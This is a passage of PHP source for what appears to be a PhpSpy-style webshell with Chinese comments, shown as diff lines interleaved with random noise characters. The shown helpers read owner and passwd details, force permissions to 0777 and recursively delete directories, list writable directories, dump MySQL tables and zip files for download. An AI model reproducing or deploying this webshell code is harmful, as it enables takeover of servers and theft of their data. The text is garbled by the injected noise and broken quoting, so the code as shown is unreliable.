# ^- P" W( ]0 Z3 f0 J+ n% z - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
$ z0 D ]" \7 G; u) V - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}9 H+ A8 m( X! L7 ^' i7 ^1 r. g4 ^) o
-
3 P" x2 O& `2 O! \ - return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
4 N2 e* a6 g5 l3 {# \* s. O g$ f& F - }: h, g. y& `" w- m& `+ y
- ) e: m& T+ k2 |2 W' R& U
- function getUser($filepath) {* o" X8 _5 G4 N5 F" x) V4 J# f
- if (function_exists('posix_getpwuid')) {& u3 ]9 x* u m- F# A
- $array = @posix_getpwuid(@fileowner($filepath));; F1 B+ T U }9 q
- if ($array && is_array($array)) {* V {- \ _- d% J8 ~
- return ' / <a href="#" title="User: '.$array['name'].'
3 Y5 D" Q% T5 {1 |( Z - Passwd: '.$array['passwd'].'# Y& K, v: M. z2 P
- Uid: '.$array['uid'].'- j+ `. [* u* J i4 P% U
- gid: '.$array['gid'].'
' p3 F! F7 O, N: w$ a' ^" K - Gecos: '.$array['gecos'].'! B6 m% |' r6 D7 m+ S8 M
- Dir: '.$array['dir'].'
) e/ o- ^6 N4 n* O- m - Shell: '.$array['shell'].'">'.$array['name'].'</a>';8 O& Q( e Z1 D9 i
- }1 ?! a( d. d1 X( l9 k) u1 X
- }8 ?3 w% }. @ ~$ B$ r
- return ''; n8 a+ B1 [/ s7 z7 |# l
- }
4 [; a [+ q/ ? -
7 o6 V9 t6 k5 I( D7 I [7 o - // 删除目录 T8 G/ }8 s* L Z
- function deltree($deldir) {
2 r( c1 \ e# }% I" U9 C - $mydir=@dir($deldir);
1 i* ?; m( N0 q9 |) W0 V - while($file=$mydir->read()) {
7 |: D% R0 h7 y/ A - if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { $ j& R+ [ @% u! ~" u
- @chmod($deldir.'/'.$file,0777);
, A. p; @( i! `4 t# W; z9 H: x& x - deltree($deldir.'/'.$file);
0 R Y. P C# p - }
h! v( q/ S+ y- j - if (is_file($deldir.'/'.$file)) {
( V" X4 A/ ?) B3 ^# e - @chmod($deldir.'/'.$file,0777);7 H+ E7 ]& l3 u- _
- @unlink($deldir.'/'.$file);
2 C" z- B8 h4 K& E0 y7 C6 C7 B - }+ F! M6 O$ O- @! ]% ^! G( l# h- M
- }
1 t3 N0 d7 C3 V+ ^/ d' y - $mydir->close();
7 u2 {, v- C, u; |( k. G& U2 }) U - @chmod($deldir,0777);
8 t8 M# J0 t( r) ^8 j* F/ F - return @rmdir($deldir) ? 1 : 0;
3 f8 n ]3 l/ _$ x) L - }* u8 L0 V3 T3 a U8 M
- . M+ y/ y" D M
- // 表格行间的背景色替换' t( k- c, D" p6 F4 m8 x) I: e
- function bg() {
! o3 o i+ h/ U# Z# i - global $bgc;1 h3 Z2 x9 p- ?
- return ($bgc++%2==0) ? 'alt1' : 'alt2';! ]7 _+ W) ~! v' j- G3 |
- }- v( C1 O3 K. T8 Y$ r, O+ H
-
* ?( z0 b( }& i - // 获取当前的文件系统路径
A3 N/ j( j9 T3 x- S - function getPath($scriptpath, $nowpath) {/ f8 {% v4 C8 w2 L& |/ d8 T4 e* y$ L
- if ($nowpath == '.') {
S. n+ q+ K" B+ N2 B - $nowpath = $scriptpath;
6 ~2 z( t; i2 G. _5 f$ w" q/ o - }
! y, s9 p. h A5 t* | - $nowpath = str_replace('\\', '/', $nowpath); @ u( x; y* H& D6 h( A
- $nowpath = str_replace('//', '/', $nowpath);) s0 F0 z7 \, b4 o* ~
- if (substr($nowpath, -1) != '/') {! w9 y& Y/ [3 x X; l4 M
- $nowpath = $nowpath.'/';
- z( F; ~( ~' @; t - }
7 I& U( @8 W( H0 r# w& E. K - return $nowpath;" u1 i# n, _7 B% F
- }, C7 y8 l8 E1 u- D! x" p0 t
- + _- ^, ]) @, h( E9 w! @9 b, {4 |
- // 获取当前目录的上级目录
! q+ Y( k9 C. K \/ R7 H1 C - function getUpPath($nowpath) {2 ]* b1 v, @6 V: K$ R) S$ I4 H J
- $pathdb = explode('/', $nowpath);
7 W8 w' [- b9 {! y% \ - $num = count($pathdb);; H6 M. D# n, w* v9 [
- if ($num > 2) {
& o: G8 k% o ^, w4 g+ Z - unset($pathdb[$num-1],$pathdb[$num-2]);# T2 X& a6 l7 a' q7 W) Q% t* {
- }
" h `' r5 L! b a: d* n) z - $uppath = implode('/', $pathdb).'/';' Q$ \- g4 E* Q `
- $uppath = str_replace('//', '/', $uppath);+ h! D+ ^2 C7 S9 X
- return $uppath;
, o. D4 W' I, m/ Z3 M- E - }
- p, x0 |+ C6 p" m -
: K8 f. w+ ~9 l* f+ ? - // 检查PHP配置参数
; M$ t* B; N* k7 p$ H% X) M - function getcfg($varname) {5 F8 n* ~: }2 ?
- $result = get_cfg_var($varname);. W1 I O6 `( g5 Z/ a. K" h E
- if ($result == 0) {
1 @: }( A3 ~2 Y* r$ Q6 s" x - return 'No';
" ?2 l5 {+ K5 C2 }+ T' K- s2 D - } elseif ($result == 1) {
' z/ j( k. F" d8 e! E - return 'Yes';3 ~ n. T& W4 B9 A3 Y
- } else {. d' [; j5 ^. _1 c* ?& @; t# l
- return $result;
5 V n. n9 V( D' w - }
# C8 D# B1 O, e- I - }
( X- l; q% ^$ p - 9 \: n4 p N. u& d1 m
- // 检查函数情况
8 V- b0 T$ z# a, f8 |/ t - function getfun($funName) {& ^7 z3 s3 [& _2 W" D6 ]
- return (false !== function_exists($funName)) ? 'Yes' : 'No';
) ^. G$ F3 T( i& w - }
7 E: c0 p) M. h$ l+ o6 Q8 T- _) {4 _ - 4 Q$ x0 m& M, D( ?' \
- function GetList($dir){
8 X6 u+ i! Z/ ]. C7 d8 j% Z3 j - global $dirdata,$j,$nowpath;
" F6 @( [3 q9 h7 J3 N( f2 y - !$j && $j=1;0 U$ p: ]$ L# ]$ B0 S6 J0 [
- if ($dh = opendir($dir)) {
5 C3 i" X" C8 H! k# O2 X" j - while ($file = readdir($dh)) {
8 w X3 n) h& Y2 o' p - $f=str_replace('//','/',$dir.'/'.$file);& I: F2 c. i# J- J) Y
- if($file!='.' && $file!='..' && is_dir($f)){
- n/ G, K9 A9 S' [6 \# k8 Z# [ - if (is_writable($f)) {1 c; u6 P2 {7 F' ?. n$ B
- $dirdata[$j]['filename']=str_replace($nowpath,'',$f);; r# P( G2 g' O- j& K
- $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
- e0 k: l: I- f* S - $dirdata[$j]['dirchmod']=getChmod($f);" K3 e4 O( J9 _( Q8 N1 X4 v. P
- $dirdata[$j]['dirperm']=getPerms($f);
/ f8 C e9 ]/ e4 Z' d4 A1 l - $dirdata[$j]['dirlink']=ue($dir);
4 L [3 V. ]- j0 D9 X. t/ m - $dirdata[$j]['server_link']=$f;
$ L+ c" W; x1 Z4 V3 Y0 V6 T. @ - $dirdata[$j]['client_link']=ue($f);
) m2 | j. ~; U- k+ S& v% s& s% [ - $j++;
& m3 F- p/ C9 i J! E) Q8 n - }
7 M" J2 p3 a8 M4 f - GetList($f);
* u* d' r7 P# \( q2 K0 r- \ - }
5 r+ f1 V) u4 d& {' r' r$ r - }/ I2 V2 o6 I6 ]/ n
- closedir($dh);6 U6 o Y4 }9 h. g' b l
- clearstatcache();. M/ l: I3 P. B2 c' p; ?( T
- return $dirdata;
+ `& n: I9 L: f5 L& P9 \ - } else {
; ~+ R. T9 }1 f6 n# @5 D8 B9 W - return array();
/ E( Y# R3 C `- b% R* V/ ?) | - }
$ d) ]) {3 i) Y; c - }, U; ]6 s2 F! ]7 }8 Z
- . w7 O$ V+ |* z3 q3 y
- function qy($sql) {
n5 h4 ]* [0 r3 B - //echo $sql.'<br>';, D" ]. Y, \, Q3 H; t; C
- $res = $error = '';
7 L5 D, `% O/ _5 T2 l. h$ W. d0 G - if(!$res = @mysql_query($sql)) {
6 e9 j: W# R) @- Z - return 0;. H( }- {/ b- q1 h7 n
- } else if(is_resource($res)) {
2 S* b$ J8 y, H& j$ ? - return 1;
0 Z! u5 t" z+ i7 {" b - } else {
) C% ~- x* R. p9 c& Z3 K - return 2;
/ v# N. b. F9 [$ s - }
# x. |1 j. s3 F - return 0;, ~' L! u. F) M- Z0 y0 v$ F n6 T# J( F
- }, T: B# w8 I/ r& t6 i9 |# U
-
0 @# I G6 l* {$ c6 q - function q($sql) {
; q" t& C, F! d7 n - return @mysql_query($sql);
1 Q, {8 P( t+ p' m) G - }! p" M4 v$ C7 h% F2 G& c* P9 p' |
-
/ k1 t2 ]1 \( J1 y - function fr($qy){
D5 H& s7 p0 J6 Y - mysql_free_result($qy);2 m& U# T d) f3 @" w0 E' E8 t
- }
9 P) X. } \# F0 ~" J+ D; Y% O -
. L% Y# o2 x- J9 \: q - function sizecount($size) {3 {. @0 ^/ O% \( w' V" X, T7 Q2 g
- if($size > 1073741824) {( z( t, j: l% X
- $size = round($size / 1073741824 * 100) / 100 . ' G';
, J* L0 L' ?! i- o: x0 | - } elseif($size > 1048576) {& H. f) P. k# R/ E4 I0 I
- $size = round($size / 1048576 * 100) / 100 . ' M';; y% T& V4 x, k3 J: j8 m
- } elseif($size > 1024) {
( {/ R% [1 @6 i - $size = round($size / 1024 * 100) / 100 . ' K';- }; `/ u1 i, N* X6 f
- } else {+ k' m3 v1 X8 i5 h( @# w( \
- $size = $size . ' B';
; x! j+ r: \: c" E" T. c - }
8 C; S$ \( A% m& g5 |$ d - return $size;, j& M" _1 y4 b, W
- }
+ W0 {& Y) _9 Z9 T2 z" t -
4 O/ [7 d) }, H' ^ - // 压缩打包类1 w) W* w4 w+ ?( {5 }$ C
- class PHPZip{4 K' ~+ A0 Z( E8 Z
- var $out='';
) u: [( v t" ]" ?2 o( b - function PHPZip($dir) {
' q+ G6 ?$ C4 s7 J - if (@function_exists('gzcompress')) {2 r+ j0 W6 f4 |3 `
- $curdir = getcwd();( H$ _2 c* a( S8 L: i1 P" ?( ~
- if (is_array($dir)) $filelist = $dir;" y6 H% x4 m2 G4 P3 G3 q9 |
- else{
0 w L/ e: E* K# N* U% [ - $filelist=$this -> GetFileList($dir);//文件列表0 e) k Y, K( b% E/ r1 k' q
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
; o2 O# l# E0 y: P. X+ v - }
/ }/ N. `/ q% X' k% e% u - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
# I* J: m! Z# t# F4 U* @ - else chdir($curdir);
: }7 M9 o8 a. u, d. j2 ^( [ - if (count($filelist)>0){
$ A- T* ?2 ^7 p- \& G5 | - foreach($filelist as $filename){
& D4 l$ V9 z- x2 [1 X( } T - if (is_file($filename)){& p8 b8 H" O# u. R
- $fd = fopen ($filename, 'r');
$ {- Z: U8 I5 f, @: h. J3 b, y - $content = @fread ($fd, filesize($filename));
; T6 W8 ^7 L8 W; |( P9 I - fclose ($fd); t) ?5 [) g0 Z6 Z# Q; }) y9 A
- if (is_array($dir)) $filename = basename($filename);% @' ^' q* p1 w& b8 Q
- $this -> addFile($content, $filename); c2 J$ N# @ p; s3 R/ W% x; d
- }$ f x8 ^! r' y- }
- }& {2 c/ E$ O9 P4 M6 n
- $this->out = $this -> file();/ l" f; A8 \$ ]
- chdir($curdir);3 L3 L A$ d! w' N
- }
y+ t' f1 H* T1 ` - return 1;+ L3 y0 }1 k P" O+ ~/ e0 k$ D
- }2 ?; p5 g6 G# g: v3 b% O) i4 Y
- else return 0;1 k9 @0 P& U; c8 R/ C6 O" l1 }
- }
* t* T* i4 h' d0 L: d/ K9 f: b -
! y; T4 l: [; p5 ~+ g. o: S5 { - // 获得指定目录文件列表
& m9 v7 Q' R/ k. J1 d - function GetFileList($dir){
! x& _/ V i. \7 Q, q) ^7 D - static $a;
( M' Z" b" F: I/ j% X - if (is_dir($dir)) {
: W/ X1 J+ t( l$ ^7 p& i2 q; b, @ - if ($dh = opendir($dir)) {
5 s% ?4 f- ^* y; ~# ?7 q/ W' o9 O - while ($file = readdir($dh)) {
5 o/ B, F* V3 l - if($file!='.' && $file!='..'){
; O6 F2 Y# U- ? - $f=$dir .'/'. $file;
) @8 O% I1 J* G& W- x; g - if(is_dir($f)) $this->GetFileList($f);5 m" }- D# u* ?. z! H) ?0 o
- $a[]=$f;
- [% e. b# f4 d - }" a0 Z' ^! x0 a
- }
. } v) d( P9 [$ x. @8 i& `! C - closedir($dh);
4 v+ [/ _- e% I( r+ B( T$ N9 }. S - }# A5 k" a( R4 \
- }
8 {( O" T. _% s1 ~) F J9 y - return $a;
1 f; X$ w l* ]- C: a% }0 L/ C& D - }9 h5 K5 ^* t( ^; ?8 H+ V& u
-
& x7 X0 j3 G( ]( q2 ^ - var $datasec = array();8 G+ I2 H- v1 } ?/ j6 f6 H7 H4 q
- var $ctrl_dir = array();# u! r$ G l8 ^/ _& n/ m
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
: ?* j! u" _1 \( }# {9 O: R$ l I - var $old_offset = 0;
- M% \' h6 p% C" w4 h -
" e0 L' L' _) J( q! E: r - function unix2DosTime($unixtime = 0) {! X; [( q& [+ _$ {# i. I! o
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
6 ^, V) n0 f; `. j5 D" G' ?' } - if ($timearray['year'] < 1980) {
4 u7 g( u: \* \3 m+ n( q u - $timearray['year'] = 1980;/ N& a, R, e; \$ ]
- $timearray['mon'] = 1;+ f! A" J# D7 [9 K
- $timearray['mday'] = 1;
: O# O5 @) s6 X1 `8 A' i& H - $timearray['hours'] = 0;
3 U/ m- V/ P" f& X( a, K - $timearray['minutes'] = 0;' ~! C4 k- F5 b. a
- $timearray['seconds'] = 0;! H4 ?2 l& @/ R: t5 v+ e
- } // end if
9 E) c4 K- [$ K' o, u - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |: i+ J8 {7 {5 [7 j5 j/ \
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);# O8 S5 D% L5 b, Q+ d( E1 h
- }! {$ r) E% Z& i$ L
- function addFile($data, $name, $time = 0) {
, C; s2 Z& v+ S! _* b& e9 u$ x - $name = str_replace('\\', '/', $name);: t/ c) w8 j2 m B6 T" @1 ?) w; _
- $dtime = dechex($this->unix2DosTime($time));
" q" f, B+ d* o$ ` - $hexdtime = '\x' . $dtime[6] . $dtime[7]: g: V: d1 ?: }% A, C1 M F& z
- . '\x' . $dtime[4] . $dtime[5]
) U+ |! l8 H+ o3 M5 [. b - . '\x' . $dtime[2] . $dtime[3]
; N6 L# m$ X# J* T: D! g! Z) Z/ l - . '\x' . $dtime[0] . $dtime[1];! U9 @0 ?6 Z- {
- eval('$hexdtime = "' . $hexdtime . '";');
3 @% [$ z7 u$ ^3 K# v - $fr = "\x50\x4b\x03\x04";+ h1 o: L% Z+ }
- $fr .= "\x14\x00";" @3 _* {/ t) O. M9 q6 u) i0 c
- $fr .= "\x00\x00";4 N& S4 y/ ? O
- $fr .= "\x08\x00";
- M; L& ]$ M- t; f0 L - $fr .= $hexdtime;( j$ }$ b: X _# c _! l& I
- $unc_len = strlen($data);5 h2 w" N/ i: s9 _
- $crc = crc32($data);
7 \% P" r9 D5 x - $zdata = gzcompress($data);. h6 T+ f! ^! C' y
- $c_len = strlen($zdata);
1 C2 g5 t7 r J" ], b - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
( d, Q" w/ P3 \ - $fr .= pack('V', $crc);
& F3 V) W4 C/ N7 J/ [2 ~5 l - $fr .= pack('V', $c_len);' t7 Q2 \/ u# ~; `- Q5 \2 t" J% C3 w' x/ p
- $fr .= pack('V', $unc_len);
# M* D( @ n" s4 o4 V& n5 e1 e - $fr .= pack('v', strlen($name));
8 h3 f7 j4 Y1 Q: I - $fr .= pack('v', 0);" G- l* U2 }! q2 I* ]- F8 U5 i+ o
- $fr .= $name;+ H1 h+ m) H; B' I# [5 ^: O( I: ]
- $fr .= $zdata;
- T6 Q( M, ?. \6 L2 J d, @; N - $fr .= pack('V', $crc);. x2 e) ^7 Y( q8 l4 t8 |
- $fr .= pack('V', $c_len);
" Z% `+ @0 W: V$ ] - $fr .= pack('V', $unc_len);
% r$ R" q) b$ {, U" }1 J( i" P4 a - $this -> datasec[] = $fr;
: K7 W9 o3 a4 b - $new_offset = strlen(implode('', $this->datasec));$ `3 H v8 U" W$ b5 h' A2 ^( T
- $cdrec = "\x50\x4b\x01\x02";+ U( a3 t m n) {* m; h
- $cdrec .= "\x00\x00";
7 k' Q# C8 @* T - $cdrec .= "\x14\x00";- f5 y/ [" a3 w- E8 v
- $cdrec .= "\x00\x00";
7 A( |% b3 |/ C& k M& j - $cdrec .= "\x08\x00";0 g5 a7 S# A, r( J/ A9 Z
- $cdrec .= $hexdtime;
3 O+ G1 L. n+ _* v7 n6 r3 S - $cdrec .= pack('V', $crc);" Y9 y. A: y" U7 \0 B5 i: l
- $cdrec .= pack('V', $c_len);8 d9 v+ T# B$ {5 q& x9 C2 k1 ^# c$ V
- $cdrec .= pack('V', $unc_len);' Z' }; ~$ ?) P. {5 `3 O( {
- $cdrec .= pack('v', strlen($name) );
: m1 m: h7 T! {& e. c - $cdrec .= pack('v', 0 );$ r+ v; M% X: x. q
- $cdrec .= pack('v', 0 );* o [. {! G2 j" X
- $cdrec .= pack('v', 0 );0 r/ K1 x( j6 V8 O9 E4 j
- $cdrec .= pack('v', 0 );7 n% J4 O2 b$ B0 K% B7 H/ Z
- $cdrec .= pack('V', 32 ); E7 [3 b J* k8 u. Z
- $cdrec .= pack('V', $this -> old_offset );
- c$ x: I: U J4 H" Z - $this -> old_offset = $new_offset;
8 v/ I x! K% e - $cdrec .= $name;5 L1 \+ }* G- F8 t) Y; G+ t/ @
- $this -> ctrl_dir[] = $cdrec;* B8 S4 F. | ?6 F
- }, P2 N" E& }' S
- function file() {
% {* g" F4 B/ R# a; q - $data = implode('', $this -> datasec);6 c) V! I9 y( B- Z9 v# |% ~
- $ctrldir = implode('', $this -> ctrl_dir);( h7 r9 Y0 l0 H: n0 c6 s
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";; o; N7 N" I, T4 U! B0 b
- }
' ~2 s2 v5 @4 @6 M- a - }
& f' r7 M; _6 w! N - // 备份数据库7 V% j- x0 i7 t. ]3 B
- function sqldumptable($table, $fp=0) {
( @* C& Z) D; x8 C - $tabledump = "DROP TABLE IF EXISTS $table;\n";
8 q9 L( }! L0 K I/ U* J5 G: e - $tabledump .= "CREATE TABLE $table (\n";
0 Q+ q4 y* P& L; a/ r - $firstfield=1;3 `- q x4 g2 ]3 {* [
- $fields = q("SHOW FIELDS FROM $table");4 H& ?3 j" E7 I& [" T' S
- while ($field = mysql_fetch_array($fields)) {3 y& e# }+ O4 y: g
- if (!$firstfield) {
" j9 z( K$ W! m; T" n! _2 X6 P - $tabledump .= ",\n";
9 ^8 }% K4 y" I$ [2 } - } else {7 V% b3 y0 d% q7 h ?
- $firstfield=0;
2 ?, V+ h. ^+ K - }6 V' k) R7 x B
- $tabledump .= " $field[Field] $field[Type]";& x- i# `& {; O1 L" l2 g- X- {3 B
- if (!empty($field["Default"])) {- U5 m' T5 S# d! A
- $tabledump .= " DEFAULT '$field[Default]'";
9 B! g( j) a6 s/ S7 S2 d9 j - }
' j3 a6 c# n9 [7 U5 ~. y - if ($field['Null'] != "YES") {
; X2 h; a" s" h `! ?- [0 R2 X - $tabledump .= " NOT NULL";
& r+ W, c" o0 @# K H% x2 Y9 i1 A0 q2 P - }
# b9 P1 D3 x6 ^3 @ - if ($field['Extra'] != "") {- f! T! ~" N1 J9 m1 A
- $tabledump .= " $field[Extra]";
+ V( k8 f4 w+ o" y/ G1 m- T - }! g9 v4 t# W) j+ d( M3 {- ]
- }
2 v* W$ y h3 x: [$ w - fr($fields);
9 V1 \: ~& m) P# m$ M" [/ O - $keys = q("SHOW KEYS FROM $table");( c" b4 T' E6 _( v V0 ]
- while ($key = mysql_fetch_array($keys)) {1 J( u" s# q' t* n
- $kname=$key['Key_name']; t# _" T) @( T% R# P
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
T* ~2 p" X# R; I ]7 A' R - $kname="UNIQUE|$kname";; T; {. X' y* _2 \; P* b
- }
8 x6 a$ g" l) t8 k N) Y - if(!is_array($index[$kname])) {
3 B* s! E. p% S( j - $index[$kname] = array();
, B" h' l7 q1 l$ F' @: r! m - }
9 R# E9 @) c+ \) h- U' T- b+ ]: U; u - $index[$kname][] = $key['Column_name'];. x9 g3 \# L" B& O
- }% m& U! O$ ^# G1 X9 h
- fr($keys);
5 G8 H. P# v& O - while(list($kname, $columns) = @each($index)) {3 _! v/ C7 h; p k) s
- $tabledump .= ",\n"; ~) W& }0 e3 L8 Y
- $colnames=implode($columns,",");
. S; T7 {' Q' G' Q4 z- x - if ($kname == "PRIMARY") {
, W; [, |6 k/ Y- z K- m( i - $tabledump .= " PRIMARY KEY ($colnames)";& l7 o5 L: X2 V0 P! f! y9 m( f6 |4 V
- } else {
0 w) Q* I- f% Z+ q - if (substr($kname,0,6) == "UNIQUE") {1 a# z. n# V r7 S# v
- $kname=substr($kname,7);
+ b2 s1 c- K6 ]2 S5 b' m8 H1 b- @ - }/ Z/ S9 O* s* Z- F k! [& z
- $tabledump .= " KEY $kname ($colnames)";
9 {0 ~6 @7 l* r; S - }( \- i5 a3 h" ]( W8 F0 P$ Q3 r
- }7 K/ ^1 L) l/ n3 P1 }* Q
- $tabledump .= "\n);\n\n";' m& I5 n. o! u9 Q* q6 t* k
- if ($fp) {
) \" W4 Y& p4 w4 G, P1 T" [9 _ - fwrite($fp,$tabledump);
9 y6 ]$ ]5 [4 j - } else {" F: }" @3 B' o% v% S2 G
- echo $tabledump;6 j/ ?! `( e3 i
- }
* K( u6 q8 R z% N - $rows = q("SELECT * FROM $table");/ v7 Y" b1 Y6 }) }8 }2 F
- $numfields = mysql_num_fields($rows);! C1 c' n6 f5 p; h! m
- while ($row = mysql_fetch_array($rows)) {4 R" C+ T I4 m
- $tabledump = "INSERT INTO $table VALUES(";5 t) U6 y& ?9 Z% Q, p0 \
- $fieldcounter=-1;
5 t5 j2 Y; p% J' ^8 y7 L9 `6 z - $firstfield=1;
8 X* |' V$ I3 w - while (++$fieldcounter<$numfields) {
) h- C4 Q8 R& W! t1 n! f - if (!$firstfield) {- k/ @ _5 ^0 V, ?
- $tabledump.=", ";: v. t& K& y" ]" y7 V% Y# z5 b! O
- } else {+ }1 X- b: Y+ n4 R* m
- $firstfield=0;
: U% l% E; N4 D! h3 t - }$ \/ \. l3 X5 N7 \0 W
- if (!isset($row[$fieldcounter])) {
- N1 C# ?3 Y# b - $tabledump .= "NULL";+ P. `- G( ^/ a9 ~6 z" B
- } else {& R+ p) Z8 k& E0 r& L
- $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";: q7 s; h8 {! F5 N" g! G' J: E, ]! r+ E% E
- }+ F2 P& l, o$ `1 X' v
- }: [4 A9 o7 J( V$ c( O( g
- $tabledump .= ");\n";: y8 m) l) e$ s9 h) f
- if ($fp) {
' a d' X- n1 l: b9 g9 q, r" m% ] - fwrite($fp,$tabledump);
" z7 Z$ t5 _" T1 L: Z# N - } else {
8 f% k; Y! ?' l - echo $tabledump;6 C( G* X4 b. p/ [# u
- }* N1 v. d4 l: R u* y4 {
- }6 g$ Y* w% G! r$ P ~' {
- fr($rows);
; x; m* o! k5 f. S( q1 g& _ - if ($fp) {
) c" v5 B8 _8 t) L, J4 c, m - fwrite($fp,"\n");
, N! H4 p* K8 O) R" w8 F, a, I6 K - } else {! o3 `- M8 n* c8 v) g8 n" M
- echo "\n";
9 x0 T3 a, D' W0 e2 i - }
7 @" {! A, y! T6 j; w: g F - }
; w& ]! d& ^' D- c0 I. X. _% y6 R - function ue($str){5 I6 Y. o, p; _3 s f1 B
- return urlencode($str); }( g |; @) y3 v! @# Y
- }3 I5 |. D& T$ L/ k& H1 _. s; j% [" B
- function p($str){
" p8 S0 ^& f/ p6 B3 i4 i - echo $str."\n";
- d. z; G; R, b - }
' h9 m! Q/ O# j - function tbhead() {( T, b5 P# h7 `( p. e
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2 Z, Q' g, @2 A! s8 F* R) v; K - }
! s3 n, ]# J' k: |. y3 A - function tbfoot(){
- \- L9 o* l) y, H- Z - p('</table>');4 k0 ?0 V2 X8 x9 [! h; c
- }$ T+ A, d+ z, U: D5 y
- function makehide($name,$value=''){
y! s7 l/ \( }! k. l - p("<input id="$name" type="hidden" name="$name" value="$value" />");9 |* n% H7 s6 J% ~$ ?/ h
- }. C* D9 S9 _% n' Y3 a& n- K
- function makeinput($arg = array()){
8 t! i) X( I. \3 ^. ?* G+ c6 x/ |+ t - $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";6 V, z- _) U$ ~
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
! u; E6 K/ v( t" @" D0 e - !$arg['type'] && $arg['type'] = 'text';
. y8 S, ]6 d% N) W% u6 D - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
% s3 n/ u$ v2 j" ?/ f) i - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
6 q# q6 g8 R, b: e: K8 k - if ($arg['newline']) {. A2 u0 M/ U N* Y8 \) f
- p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");9 E7 h1 @$ }0 l3 h; v& @6 g1 m9 F
- } else {
1 t t0 o- v4 Q - p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");! N0 X* e- |0 G7 v9 {, ?
- }
/ X8 v% d B& ? - }" X# c8 L3 K5 i2 T
- function makeselect($arg = array()){
6 M% s7 n3 o! {& X! _$ N+ b - if ($arg['onchange']) {
! O7 c# @' L/ R5 ^8 [ - $onchange = 'onchange="'.$arg['onchange'].'"';; A/ e* O! h: l6 t& t/ y% p
- }
' [6 t2 J# ?$ D# B' P7 s0 | - $arg['title'] = $arg['title'] ? $arg['title'] : '';
, O5 `6 W8 R. S/ u$ l8 l% a# v - if ($arg['newline']) p('<p>');
& @7 F1 _( H8 c% U- A - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
9 |& j5 Q w9 ^ - if (is_array($arg['option'])) {5 J& a) h: }# D [" g+ p- \
- foreach ($arg['option'] as $key=>$value) {
J. g5 k7 i/ y- F" P - if ($arg['selected']==$key) {
. a+ A( @8 x8 M* Q$ N - p("<option value="$key" selected>$value</option>");1 i9 D6 w. p, y6 U& ^ a& X
- } else {
# i( Y! m4 X D, o" I$ ]2 m - p("<option value="$key">$value</option>");
( Q' s, U7 h" z1 Z( y( ~ - }
1 V2 E# t; G/ ]1 u4 w - }5 M- u9 k2 j0 m$ a1 C8 v3 R0 e
- }
" ?5 q6 G t3 C9 r: a0 Q - p("</select>");/ k9 @7 \, w5 _6 V
- if ($arg['newline']) p('</p>');
" @5 e! G" B% F2 s - }- _) q; D" Y x }
- function formhead($arg = array()) {1 g: Y/ B* l0 k9 E% B- w4 j
- !$arg['method'] && $arg['method'] = 'post';
}, c9 U w" h- H - !$arg['action'] && $arg['action'] = $self;4 R; o+ o1 H! S2 c. Z6 N* B
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
8 d9 Z0 J0 p+ S7 W! q0 a# ~8 F - !$arg['name'] && $arg['name'] = 'form1';( ^, A" n( S- `1 b7 n# ~. Y% t
- p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
0 z1 b) A& A8 H6 M - if ($arg['title']) {$ K% S# s) ?" b& h
- p('<h2>'.$arg['title'].' »</h2>');2 O$ i1 Z7 u9 }+ b. {& b' i% c' Y
- } K7 X. @! ~2 d# Y9 C9 J. |& X: Y
- }& V6 x6 U3 }2 z
-
) }+ }5 _9 {2 G$ p: e - function maketext($arg = array()){/ C/ y3 S$ J9 R; I
- !$arg['cols'] && $arg['cols'] = 100;) I2 f0 U6 _& c! |" a* e* h8 p
- !$arg['rows'] && $arg['rows'] = 25;
( o/ b- m9 l" \1 @3 ? z9 U1 k - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
- q; J1 P& t& v5 K - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
j8 C% p! c% | - }% y$ u" c# [1 \8 @0 n
- 4 r2 r( g" A0 l3 ^' y
- function formfooter($name = ''){3 d5 |5 L! x- t) [+ y& X: B
- !$name && $name = 'submit'; Z& B, {& d# @8 j! y, q
- p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');6 V# A i# Q5 N) r" f+ n: D+ C
- p('</form>');* j- ?3 N6 x* ^$ n1 e% W5 I$ V5 S
- }
3 l% F( m z" } -
, G% L, ?6 ]* {/ A - function formfoot(){% g) ~' v+ \; K! ?# B( p; ]: a
- p('</form>');
+ q P' n0 j* z6 |5 {, I6 { - }* y) V! x+ x8 I
-
8 ~8 g: B+ H" v+ m O - // 调试函数
